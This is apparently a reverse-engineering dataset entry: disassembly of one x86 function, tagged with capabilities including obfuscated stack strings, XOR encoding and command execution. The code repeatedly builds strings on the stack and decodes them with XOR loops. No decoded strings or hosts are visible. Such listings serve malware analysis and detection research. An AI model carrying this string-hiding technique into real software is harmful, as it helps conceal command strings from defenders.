Function at 0x463d80
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Execute command
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ddc91
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x3388
call fcn.004dbf10
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1b0c], edx
mov dword [ebp - 0x19d0], ecx
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2c]
call fcn.0045c360
lea ecx, [ebp - 0x2c]
call fcn.0045bd90
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x19d0]
call fcn.0045c360
lea ecx, [ebp - 0x5c]
call fcn.0045bd90
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x44]
call fcn.0045c360
lea ecx, [ebp - 0x44]
call fcn.0045bd90
lea ecx, [ebp - 0x29c8]
mov byte [ebp - 4], 2
call fcn.00462c70
mov esi, eax
lea ecx, [ebp - 0x26f8]
mov byte [ebp - 4], 3
call fcn.004605e0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00463ca0
mov edx, eax
lea ecx, [ebp - 0x22f0]
call fcn.0045f2a0
push esi
lea eax, [ebp - 0x22f0]
mov byte [ebp - 4], 5
push eax
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x74]
call fcn.0045c610
lea ecx, [ebp - 0x22f0]
call fcn.0045bb10
lea ecx, [ebp - 0x26f8]
call fcn.0045bb10
lea ecx, [ebp - 0x29c8]
mov byte [ebp - 4], 9
call fcn.0045bb10
mov al, 0xb
mov byte [ebp - 0x1b30], 0
mov ah, 0x6b
mov byte [ebp - 0x1b30], 0
mov cl, al
mov byte [ebp - 0x1b34], ah
mov dl, al
xor cl, ah
xor al, ah
mov byte [ebp - 0x1b32], cl
xor dl, ah
mov byte [ebp - 0x1b33], al
lea ecx, [ebp - 0x2818]
mov byte [ebp - 0x1b31], dl
call fcn.00462d00
mov dword [ebp - 0x19fc], eax
movaps xmm0, xmmword [0x4fecb0]
xor ecx, ecx
movups xmmword [ebp - 0x1e68], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1e68]
xor byte [ebp + ecx - 0x1e67], al
inc ecx
cmp ecx, 0xe
jb 0x463ef0
movaps xmm0, xmmword [0x5006a0]
xor ecx, ecx
mov byte [ebp - 0x1e59], 0
movups xmmword [ebp - 0x1cc0], xmm0
mov dword [ebp - 0x1cb0], 0x424b4c57
mov byte [ebp - 0x1cac], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x1cc0]
xor byte [ebp + ecx - 0x1cbf], al
inc ecx
cmp ecx, 0x13
jb 0x463f30
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20b0]
mov byte [ebp - 0x1cac], 0
call fcn.0045c360
lea ecx, [ebp - 0x1cbf]
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463f68
sub ecx, edx
lea eax, [ebp - 0x1cbf]
push ecx
push eax
lea ecx, [ebp - 0x20b0]
call fcn.0045c380
movaps xmm0, xmmword [str.6wdrawdsjrseud]
xor ecx, ecx
movups xmmword [ebp - 0x2038], xmm0
movaps xmm0, xmmword [0x500960]
movups xmmword [ebp - 0x2028], xmm0
movaps xmm0, xmmword [0x4febb0]
movups xmmword [ebp - 0x2018], xmm0
mov al, byte [ebp - 0x2038]
xor byte [ebp + ecx - 0x2037], al
inc ecx
cmp ecx, 0x2e
jb 0x463fb0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2098]
mov byte [ebp - 0x2009], 0
call fcn.0045c360
lea ecx, [ebp - 0x2037]
mov byte [ebp - 4], 0xd
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463fe8
sub ecx, edx
lea eax, [ebp - 0x2037]
push ecx
push eax
lea ecx, [ebp - 0x2098]
call fcn.0045c380
lea eax, [ebp - 0x20b0]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0x2098]
lea ecx, [ebp - 0x2800]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1bec], eax
movaps xmm0, xmmword [0x500040]
xor ecx, ecx
movups xmmword [ebp - 0x1cf0], xmm0
mov dword [ebp - 0x1ce0], 0x405d5653
mov word [ebp - 0x1cdc], 0x1208
mov byte [ebp - 0x1cda], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1cf0]
xor byte [ebp + ecx - 0x1cef], al
inc ecx
cmp ecx, 0x15
jb 0x464060
movaps xmm0, xmmword [0x500fa0]
xor ecx, ecx
mov byte [ebp - 0x1cda], 0
movups xmmword [ebp - 0x1d60], xmm0
mov dword [ebp - 0x1d50], 0x56c7079
mov byte [ebp - 0x1d4c], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x1d60]
xor byte [ebp + ecx - 0x1d5f], al
inc ecx
cmp ecx, 0x13
jb 0x4640a0
mov byte [ebp - 0x1d4c], 0
mov dl, 0x24
mov dword [ebp - 0x1ba0], 0x575d7724
xor ecx, ecx
mov dword [ebp - 0x1b9c], 0x72494150
mov dword [ebp - 0x1b98], 0x4d575641
mov word [ebp - 0x1b94], 0x4a4b
mov byte [ebp - 0x1b92], 0
nop dword [eax]
lea eax, [ebp - 0x1b9f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x464107
mov dl, byte [ebp - 0x1ba0]
jmp 0x4640f0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22d8]
mov byte [ebp - 0x1b92], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b9f]
mov byte [ebp - 4], 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464130
sub ecx, edx
lea eax, [ebp - 0x1b9f]
push ecx
push eax
lea ecx, [ebp - 0x22d8]
call fcn.0045c380
movaps xmm0, xmmword [0x500d80]
xor ecx, ecx
movups xmmword [ebp - 0x1f84], xmm0
mov word [ebp - 0x1f64], 0x73
movaps xmm0, xmmword [0x500ee0]
movups xmmword [ebp - 0x1f74], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1f84]
xor byte [ebp + ecx - 0x1f83], al
inc ecx
cmp ecx, 0x20
jb 0x464180
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x22c0]
mov byte [ebp - 0x1f63], 0
call fcn.0045c360
lea ecx, [ebp - 0x1f83]
mov byte [ebp - 4], 0x12
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4641b8
sub ecx, edx
lea eax, [ebp - 0x1f83]
push ecx
push eax
lea ecx, [ebp - 0x22c0]
call fcn.0045c380
lea eax, [ebp - 0x22d8]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp - 0x22c0]
lea ecx, [ebp - 0x27e8]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1bf0], eax
movaps xmm0, xmmword [0x4ff0b0]
xor ecx, ecx
movups xmmword [ebp - 0x1e0c], xmm0
mov word [ebp - 0x1dfc], 0x13
mov al, byte [ebp - 0x1e0c]
xor byte [ebp + ecx - 0x1e0b], al
inc ecx
cmp ecx, 0x10
jb 0x464212
push dword [ebp - 0x19d0]
mov al, 0x42
mov byte [ebp - 0x1b18], 0x11
mov byte [ebp - 0x19d3], al
mov cl, 0x68
xor al, byte [ebp - 0x1b18]
mov ch, 0x74
xor cl, byte [ebp - 0x1b18]
mov dl, 0x62
mov byte [ebp - 0x1b17], al
mov ah, 0x65
mov al, byte [ebp - 0x19d3]
mov dh, 0x7c
mov byte [ebp - 0x1b16], cl
mov cl, byte [ebp - 0x1b18]
xor al, cl
mov byte [ebp - 0x19d1], 0x5a
mov byte [ebp - 0x1b11], al
xor ch, cl
mov al, byte [ebp - 0x19d1]
xor dl, cl
xor al, cl
mov byte [ebp - 0x19d2], 0x44
mov byte [ebp - 0x1b10], al
xor ah, cl
mov al, byte [ebp - 0x19d2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x1b13], ch
mov byte [ebp - 0x1b0e], 0
lea ecx, [ebp - 0x22a8]
mov byte [ebp - 0x1dfb], 0
mov byte [ebp - 0x1b15], dl
mov byte [ebp - 0x1b14], ah
mov byte [ebp - 0x1b12], dh
mov byte [ebp - 0x1b0f], al
mov byte [ebp - 0x1b0e], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b17]
mov byte [ebp - 4], 0x15
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4642e7
sub ecx, edx
lea eax, [ebp - 0x1b17]
push ecx
push eax
lea ecx, [ebp - 0x22a8]
call fcn.0045c380
movaps xmm0, xmmword [0x4ff330]
xor ecx, ecx
movups xmmword [ebp - 0x1eac], xmm0
mov word [ebp - 0x1e8c], 9
movaps xmm0, xmmword [0x4ff420]
movups xmmword [ebp - 0x1e9c], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1eac]
xor byte [ebp + ecx - 0x1eab], al
inc ecx
cmp ecx, 0x20
jb 0x464330
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2278]
mov byte [ebp - 0x1e8b], 0
call fcn.0045c360
lea ecx, [ebp - 0x1eab]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464368
sub ecx, edx
lea eax, [ebp - 0x1eab]
push ecx
push eax
lea ecx, [ebp - 0x2278]
call fcn.0045c380
lea eax, [ebp - 0x22a8]
mov byte [ebp - 4], 0x18
push eax
lea edx, [ebp - 0x2278]
lea ecx, [ebp - 0x27d0]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1bf4], eax
mov dl, 0x4b
mov dword [ebp - 0x1bc0], 0x3218414b
mov dword [ebp - 0x1bbc], 0x262e3f38
xor ecx, ecx
mov dword [ebp - 0x1bb8], 0x711e0018
mov word [ebp - 0x1bb4], 0x6b
lea eax, [ebp - 0x1bbf]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x4643eb
mov dl, byte [ebp - 0x1bc0]
jmp 0x4643d4
movaps xmm0, xmmword [str.__a_r_ne]
xor ecx, ecx
mov byte [ebp - 0x1bb3], 0
movups xmmword [ebp - 0x1d30], xmm0
mov word [ebp - 0x1d20], 0x1b13
mov byte [ebp - 0x1d1e], 0
mov al, byte [ebp - 0x1d30]
xor byte [ebp + ecx - 0x1d2f], al
inc ecx
cmp ecx, 0x11
jb 0x464412
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2260]
mov byte [ebp - 0x1d1e], 0
call fcn.0045c360
lea ecx, [ebp - 0x1d2f]
mov byte [ebp - 4], 0x1a
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464450
sub ecx, edx
lea eax, [ebp - 0x1d2f]
push ecx
push eax
lea ecx, [ebp - 0x2260]
call fcn.0045c380
movaps xmm0, xmmword [0x5000f0]
xor ecx, ecx
movups xmmword [ebp - 0x1ed0], xmm0
mov word [ebp - 0x1eb0], 0x58
movaps xmm0, xmmword [0x500190]
movups xmmword [ebp - 0x1ec0], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1ed0]
xor byte [ebp + ecx - 0x1ecf], al
inc ecx
cmp ecx, 0x20
jb 0x4644a0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2248]
mov byte [ebp - 0x1eaf], 0
call fcn.0045c360
lea ecx, [ebp - 0x1ecf]
mov byte [ebp - 4], 0x1c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4644d8
sub ecx, edx
lea eax, [ebp - 0x1ecf]
push ecx
push eax
lea ecx, [ebp - 0x2248]
call fcn.0045c380
lea eax, [ebp - 0x2260]
mov byte [ebp - 4], 0x1d
push eax
lea edx, [ebp - 0x2248]
lea ecx, [ebp - 0x27b8]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1bf8], eax
movaps xmm0, xmmword [0x500fd0]
xor ecx, ecx
movups xmmword [ebp - 0x1d1c], xmm0
mov dword [ebp - 0x1d0c], 0x758505c
mov word [ebp - 0x1d08], 0x1d
nop dword [eax]
mov al, byte [ebp - 0x1d1c]
xor byte [ebp + ecx - 0x1d1b], al
inc ecx
cmp ecx, 0x14
jb 0x464540
movaps xmm0, xmmword [0x4ff580]
xor ecx, ecx
mov byte [ebp - 0x1d07], 0
movups xmmword [ebp - 0x1d04], xmm0
mov dword [ebp - 0x1cf4], 0x1f081f
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1d04]
xor byte [ebp + ecx - 0x1d03], al
inc ecx
cmp ecx, 0x12
jb 0x464580
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20e0]
mov byte [ebp - 0x1cf1], 0
call fcn.0045c360
lea ecx, [ebp - 0x1d03]
mov byte [ebp - 4], 0x1f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4645b8
sub ecx, edx
lea eax, [ebp - 0x1d03]
push ecx
push eax
lea ecx, [ebp - 0x20e0]
call fcn.0045c380
movaps xmm0, xmmword [0x4ff810]
xor ecx, ecx
movups xmmword [ebp - 0x1f60], xmm0
mov word [ebp - 0x1f40], 4
movaps xmm0, xmmword [0x4ff590]
movups xmmword [ebp - 0x1f50], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x1f60]
xor byte [ebp + ecx - 0x1f5f], al
inc ecx
cmp ecx, 0x20
jb 0x464600
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2140]
mov byte [ebp - 0x1f3f], 0
call fcn.0045c360
lea ecx, [ebp - 0x1f5f]
mov byte [ebp - 4], 0x21
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464638
sub ecx, edx
lea eax, [ebp - 0x1f5f]
push ecx
push eax
lea ecx, [ebp - 0x2140]
call fcn.0045c380
lea eax, [ebp - 0x20e0]
mov byte [ebp - 4], 0x22
push eax
lea edx, [ebp - 0x2140]
lea ecx, [ebp - 0x27a0]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d7c], eax
movaps xmm0, xmmword [str.rx__v]
xor ecx, ecx
movups xmmword [ebp - 0x1cd8], xmm0
mov dword [ebp - 0x1cc8], 0x170007
mov word [ebp - 0x1cc4], 0x5248
mov byte [ebp - 0x1cc2], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1cd8]
xor byte [ebp + ecx - 0x1cd7], al
inc ecx
cmp ecx, 0x15
jb 0x4646b0
mov byte [ebp - 0x1cc2], 0
mov dl, 0x30
mov dword [ebp - 0x1b64], 0x43496330
xor ecx, ecx
mov dword [ebp - 0x1b60], 0x765d5544
mov dword [ebp - 0x1b5c], 0x5c595d51
mov word [ebp - 0x1b58], 0x49
lea eax, [ebp - 0x1b63]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x46470c
mov dl, byte [ebp - 0x1b64]
jmp 0x4646f5
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2158]
mov byte [ebp - 0x1b57], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b63]
mov byte [ebp - 4], 0x24
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464731
sub ecx, edx
lea eax, [ebp - 0x1b63]
push ecx
push eax
lea ecx, [ebp - 0x2158]
call fcn.0045c380
movaps xmm0, xmmword [0x5011e0]
xor ecx, ecx
movups xmmword [ebp - 0x1ef4], xmm0
mov word [ebp - 0x1ed4], 0x60
movaps xmm0, xmmword [0x501270]
movups xmmword [ebp - 0x1ee4], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1ef4]
xor byte [ebp + ecx - 0x1ef3], al
inc ecx
cmp ecx, 0x20
jb 0x464780
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2170]
mov byte [ebp - 0x1ed3], 0
call fcn.0045c360
lea ecx, [ebp - 0x1ef3]
mov byte [ebp - 4], 0x26
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4647b8
sub ecx, edx
lea eax, [ebp - 0x1ef3]
push ecx
push eax
lea ecx, [ebp - 0x2170]
call fcn.0045c380
lea eax, [ebp - 0x2158]
mov byte [ebp - 4], 0x27
push eax
lea edx, [ebp - 0x2170]
lea ecx, [ebp - 0x2788]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d78], eax
movaps xmm0, xmmword [0x4ff9d0]
xor ecx, ecx
movups xmmword [ebp - 0x1e58], xmm0
mov byte [ebp - 0x1e48], 0
mov al, byte [ebp - 0x1e58]
xor byte [ebp + ecx - 0x1e57], al
inc ecx
cmp ecx, 0xf
jb 0x464810
movaps xmm0, xmmword [0x5008e0]
xor ecx, ecx
mov byte [ebp - 0x1e48], 0
movups xmmword [ebp - 0x1de4], xmm0
mov byte [ebp - 0x1dd4], 0
mov al, byte [ebp - 0x1de4]
xor byte [ebp + ecx - 0x1de3], al
inc ecx
cmp ecx, 0xf
jb 0x464841
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2188]
mov byte [ebp - 0x1dd4], 0
call fcn.0045c360
lea ecx, [ebp - 0x1de3]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464880
sub ecx, edx
lea eax, [ebp - 0x1de3]
push ecx
push eax
lea ecx, [ebp - 0x2188]
call fcn.0045c380
movaps xmm0, xmmword [0x4ffdd0]
xor ecx, ecx
movups xmmword [ebp - 0x1c38], xmm0
mov dword [ebp - 0x1c28], 0x3f392420
mov dword [ebp - 0x1c24], 0x9232c3e
mov dword [ebp - 0x1c20], 0x1d150403
mov byte [ebp - 0x1c1c], 0
mov al, byte [ebp - 0x1c38]
xor byte [ebp + ecx - 0x1c37], al
inc ecx
cmp ecx, 0x1b
jb 0x4648d1
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21a0]
mov byte [ebp - 0x1c1c], 0
call fcn.0045c360
lea ecx, [ebp - 0x1c37]
mov byte [ebp - 4], 0x2b
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464910
sub ecx, edx
lea eax, [ebp - 0x1c37]
push ecx
push eax
lea ecx, [ebp - 0x21a0]
call fcn.0045c380
lea eax, [ebp - 0x2188]
mov byte [ebp - 4], 0x2c
push eax
lea edx, [ebp - 0x21a0]
lea ecx, [ebp - 0x2770]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d74], eax
movaps xmm0, xmmword [0x4fec30]
xor ecx, ecx
movups xmmword [ebp - 0x1e88], xmm0
mov al, byte [ebp - 0x1e88]
xor byte [ebp + ecx - 0x1e87], al
inc ecx
cmp ecx, 0xe
jb 0x464961
mov byte [ebp - 0x1e79], 0
mov dl, 0x24
mov dword [ebp - 0x1b74], 0x404d7224
xor ecx, ecx
mov dword [ebp - 0x1b70], 0x4d664b41
mov dword [ebp - 0x1b6c], 0x4560574b
mov word [ebp - 0x1b68], 0x4150
mov byte [ebp - 0x1b66], 0
nop dword [eax]
lea eax, [ebp - 0x1b73]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x4649c7
mov dl, byte [ebp - 0x1b74]
jmp 0x4649b0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21b8]
mov byte [ebp - 0x1b66], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b73]
mov byte [ebp - 4], 0x2e
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4649f0
sub ecx, edx
lea eax, [ebp - 0x1b73]
push ecx
push eax
lea ecx, [ebp - 0x21b8]
call fcn.0045c380
movaps xmm0, xmmword [0x501120]
xor ecx, ecx
movups xmmword [ebp - 0x1c18], xmm0
mov dword [ebp - 0x1c08], 0x7e786561
mov dword [ebp - 0x1c04], 0x48626d7f
mov dword [ebp - 0x1c00], 0x5c544542
mov byte [ebp - 0x1bfc], 0
mov al, byte [ebp - 0x1c18]
xor byte [ebp + ecx - 0x1c17], al
inc ecx
cmp ecx, 0x1b
jb 0x464a41
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21d0]
mov byte [ebp - 0x1bfc], 0
call fcn.0045c360
lea ecx, [ebp - 0x1c17]
mov byte [ebp - 4], 0x30
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464a80
sub ecx, edx
lea eax, [ebp - 0x1c17]
push ecx
push eax
lea ecx, [ebp - 0x21d0]
call fcn.0045c380
lea eax, [ebp - 0x21b8]
mov byte [ebp - 4], 0x31
push eax
lea edx, [ebp - 0x21d0]
lea ecx, [ebp - 0x2758]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d70], eax
movaps xmm0, xmmword [0x4ffca0]
xor ecx, ecx
movups xmmword [ebp - 0x1d48], xmm0
mov dword [ebp - 0x1d38], 0x72683726
mov byte [ebp - 0x1d34], 0
mov al, byte [ebp - 0x1d48]
xor byte [ebp + ecx - 0x1d47], al
inc ecx
cmp ecx, 0x13
jb 0x464ae2
mov byte [ebp - 0x1d34], 0
mov dl, 0x2e
mov dword [ebp - 0x1b44], 0x61676c2e
xor ecx, ecx
mov dword [ebp - 0x1b40], 0x5c4b787d
mov dword [ebp - 0x1b3c], 0x4041475d
mov byte [ebp - 0x1b38], 0
lea eax, [ebp - 0x1b43]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x464b3c
mov dl, byte [ebp - 0x1b44]
jmp 0x464b25
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21e8]
mov byte [ebp - 0x1b38], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b43]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464b61
sub ecx, edx
lea eax, [ebp - 0x1b43]
push ecx
push eax
lea ecx, [ebp - 0x21e8]
call fcn.0045c380
movaps xmm0, xmmword [0x4ffa90]
xor ecx, ecx
movups xmmword [ebp - 0x1f18], xmm0
mov word [ebp - 0x1ef8], 0x3c
movaps xmm0, xmmword [0x4ff8e0]
movups xmmword [ebp - 0x1f08], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x1f18]
xor byte [ebp + ecx - 0x1f17], al
inc ecx
cmp ecx, 0x20
jb 0x464bb0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2200]
mov byte [ebp - 0x1ef7], 0
call fcn.0045c360
lea ecx, [ebp - 0x1f17]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464be8
sub ecx, edx
lea eax, [ebp - 0x1f17]
push ecx
push eax
lea ecx, [ebp - 0x2200]
call fcn.0045c380
lea eax, [ebp - 0x21e8]
mov byte [ebp - 4], 0x36
push eax
lea edx, [ebp - 0x2200]
lea ecx, [ebp - 0x2740]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d6c], eax
mov byte [ebp - 0x1b80], 0x44
mov cl, 0x4e
xor cl, byte [ebp - 0x1b80]
mov al, 0x37
mov byte [ebp - 0x1b7f], cl
mov dl, 0x12
mov cl, byte [ebp - 0x1b80]
mov ch, 0x21
xor al, cl
mov byte [ebp - 0x19d2], 0x2b
mov byte [ebp - 0x1b7b], al
xor dl, cl
mov al, byte [ebp - 0x19d2]
xor ch, cl
xor al, cl
mov byte [ebp - 0x19d1], 0x2a
mov byte [ebp - 0x1b79], al
mov dh, 0x36
mov al, byte [ebp - 0x19d1]
xor dh, cl
xor al, cl
mov byte [ebp - 0x19d3], 0x7e
mov byte [ebp - 0x1b78], al
mov ah, 0x2d
mov al, byte [ebp - 0x19d3]
xor ah, cl
xor al, cl
mov byte [ebp - 0x19c9], 0x64
mov byte [ebp - 0x1b77], al
mov al, byte [ebp - 0x19c9]
xor al, cl
mov byte [ebp - 0x1b2c], 0x46
mov byte [ebp - 0x1b76], al
mov cl, 0xf
xor cl, byte [ebp - 0x1b2c]
mov al, 4
xor al, byte [ebp - 0x1b2c]
mov byte [ebp - 0x1b7e], dl
mov dl, 9
mov byte [ebp - 0x1b7d], ch
mov ch, 0x10
mov byte [ebp - 0x1b7c], dh
mov dh, 0x23
mov byte [ebp - 0x1b7a], ah
mov ah, 0x15
mov byte [ebp - 0x1b2a], cl
mov cl, byte [ebp - 0x1b2c]
mov byte [ebp - 0x1b2b], al
xor dl, cl
mov byte [ebp - 0x19c9], 0x28
xor ah, cl
mov al, byte [ebp - 0x19c9]
xor ch, cl
xor dh, cl
mov byte [ebp - 0x1b75], 0
mov byte [ebp - 0x1b75], 0
xor al, cl
mov byte [ebp - 0x19d2], 0x22
mov byte [ebp - 0x19d1], 0x29
mov byte [ebp - 0x19d3], 0x34
mov byte [ebp - 0x1b21], 0
mov byte [ebp - 0x1b29], dl
mov byte [ebp - 0x1b28], ah
mov byte [ebp - 0x1b27], ch
mov byte [ebp - 0x1b26], dh
push dword [ebp - 0x19d0]
mov byte [ebp - 0x1b25], al
mov al, byte [ebp - 0x19d2]
xor al, cl
mov byte [ebp - 0x1b21], 0
mov byte [ebp - 0x1b24], al
mov al, byte [ebp - 0x19d1]
xor al, cl
mov byte [ebp - 0x1b23], al
mov al, byte [ebp - 0x19d3]
xor al, cl
lea ecx, [ebp - 0x2290]
mov byte [ebp - 0x1b22], al
call fcn.0045c360
lea ecx, [ebp - 0x1b2b]
mov byte [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464db0
sub ecx, edx
lea eax, [ebp - 0x1b2b]
push ecx
push eax
lea ecx, [ebp - 0x2290]
call fcn.0045c380
movaps xmm0, xmmword [0x500560]
xor ecx, ecx
movups xmmword [ebp - 0x1f3c], xmm0
mov word [ebp - 0x1f1c], 0x54
movaps xmm0, xmmword [0x5002f0]
movups xmmword [ebp - 0x1f2c], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1f3c]
xor byte [ebp + ecx - 0x1f3b], al
inc ecx
cmp ecx, 0x20
jb 0x464e00
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2218]
mov byte [ebp - 0x1f1b], 0
call fcn.0045c360
lea ecx, [ebp - 0x1f3b]
mov byte [ebp - 4], 0x3a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464e38
sub ecx, edx
lea eax, [ebp - 0x1f3b]
push ecx
push eax
lea ecx, [ebp - 0x2218]
call fcn.0045c380
lea eax, [ebp - 0x2290]
mov byte [ebp - 4], 0x3b
push eax
lea edx, [ebp - 0x2218]
lea ecx, [ebp - 0x2728]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1d68], eax
movaps xmm0, xmmword [0x501130]
xor ecx, ecx
movups xmmword [ebp - 0x1dbc], xmm0
mov word [ebp - 0x1dac], 0x2a30
mov byte [ebp - 0x1daa], 0
nop dword [eax]
mov al, byte [ebp - 0x1dbc]
xor byte [ebp + ecx - 0x1dbb], al
inc ecx
cmp ecx, 0x11
jb 0x464ea0
movaps xmm0, xmmword [0x500460]
xor ecx, ecx
mov byte [ebp - 0x1daa], 0
movups xmmword [ebp - 0x1e44], xmm0
mov byte [ebp - 0x1e34], 0
mov al, byte [ebp - 0x1e44]
xor byte [ebp + ecx - 0x1e43], al
inc ecx
cmp ecx, 0xf
jb 0x464ed1
movaps xmm0, xmmword [0x4ffd80]
xor ecx, ecx
mov byte [ebp - 0x1e34], 0
movups xmmword [ebp - 0x1ca8], xmm0
mov dword [ebp - 0x1c98], 0xf0e0308
mov dword [ebp - 0x1c94], 0x190e071e
mov byte [ebp - 0x1c90], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1ca8]
xor byte [ebp + ecx - 0x1ca7], al
inc ecx
cmp ecx, 0x17
jb 0x464f20
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2230]
mov byte [ebp - 0x1c90], 0
call fcn.0045c360
lea ecx, [ebp - 0x1ca7]
mov byte [ebp - 4], 0x3d
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464f58
sub ecx, edx
lea eax, [ebp - 0x1ca7]
push ecx
push eax
lea ecx, [ebp - 0x2230]
call fcn.0045c380
movaps xmm0, xmmword [str.k8____9.7]
xor ecx, ecx
movups xmmword [ebp - 0x1c70], xmm0
mov dword [ebp - 0x1c60], 0x371f0d04
mov dword [ebp - 0x1c5c], 0xf0e0e2d
mov word [ebp - 0x1c58], 0x18
mov al, byte [ebp - 0x1c70]
xor byte [ebp + ecx - 0x1c6f], al
inc ecx
cmp ecx, 0x18
jb 0x464fa1
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20c8]
mov byte [ebp - 0x1c57], 0
call fcn.0045c360
lea ecx, [ebp - 0x1c6f]
mov byte [ebp - 4], 0x3f
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464fe0
sub ecx, edx
lea eax, [ebp - 0x1c6f]
push ecx
push eax
lea ecx, [ebp - 0x20c8]
call fcn.0045c380
lea eax, [ebp - 0x2230]
mov byte [ebp - 4], 0x40
push eax
lea edx, [ebp - 0x20c8]
lea ecx, [ebp - 0x2710]
call fcn.004629f0
add esp, 4
